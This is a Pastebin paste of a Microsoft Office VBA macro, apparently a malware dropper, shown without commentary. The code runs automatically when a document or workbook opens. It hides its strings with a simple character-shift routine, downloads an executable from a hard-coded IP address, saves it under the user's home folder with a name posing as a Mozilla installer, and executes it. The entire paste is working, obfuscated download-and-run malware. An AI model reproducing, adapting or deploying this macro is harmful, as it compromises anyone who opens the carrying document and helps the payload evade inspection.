SHARE
TWEET

Untitled

a guest Mar 28th, 2015 242 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. Sub Auto_Open()
  10.   v45
  11. End Sub
  12. Sub AutoOpen()
  13.   Auto_Open
  14. End Sub
  15. Sub Workbook_Open()
  16.   Auto_Open
  17. End Sub
  18. Sub v45()
  19. Dim dvIZ51 As String
  20. Dim wFEf2cbw As Integer
  21. GDD = decrypt(StrReverse("j}j3{rtyf498636<39573>=644?uyym"), StrReverse(StrReverse("5")))
  22. Dim r08Ll: Set r08Ll = CreateObject(decrypt(StrReverse("42:2TXXLPQ\26PQ\WQ"), StrReverse(StrReverse("4"))))
  23. Dim X2: Set X2 = CreateObject(decrypt(StrReverse("ocgtvU0dfqfC"), StrReverse(StrReverse(StrReverse("2")))))
  24. dvIZ51 = Environ(decrypt(StrReverse("MYFUJRTM"), StrReverse(StrReverse("5"))))
  25. r08Ll.Open decrypt(StrReverse("XIK"), StrReverse(StrReverse("4"))), GDD, False
  26. r08Ll.Send
  27. With X2
  28. .Type = 1
  29. .Open
  30. .write r08Ll.responseBody
  31. .SaveToFile dvIZ51 & decrypt(StrReverse("oqe0tgnncvupkcnnk|qO^"), StrReverse(StrReverse(StrReverse("2")))), 2
  32. End With
  33. Shell dvIZ51 & decrypt(StrReverse("oqe0tgnncvupkcnnk|qO^"), StrReverse(StrReverse(StrReverse("2")))), vebNormalFocus
  34. End Sub
  35. Public Function decrypt(strInput As String, second As Integer)
  36.     Dim first As Integer
  37.    
  38.     For first = 1 To Len(strInput)
  39.         Mid(strInput, first, 1) = Chr(Asc(Mid(strInput, first, 1)) - second)
  40.     Next first
  41.     decrypt = strInput
  42. End Function
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Top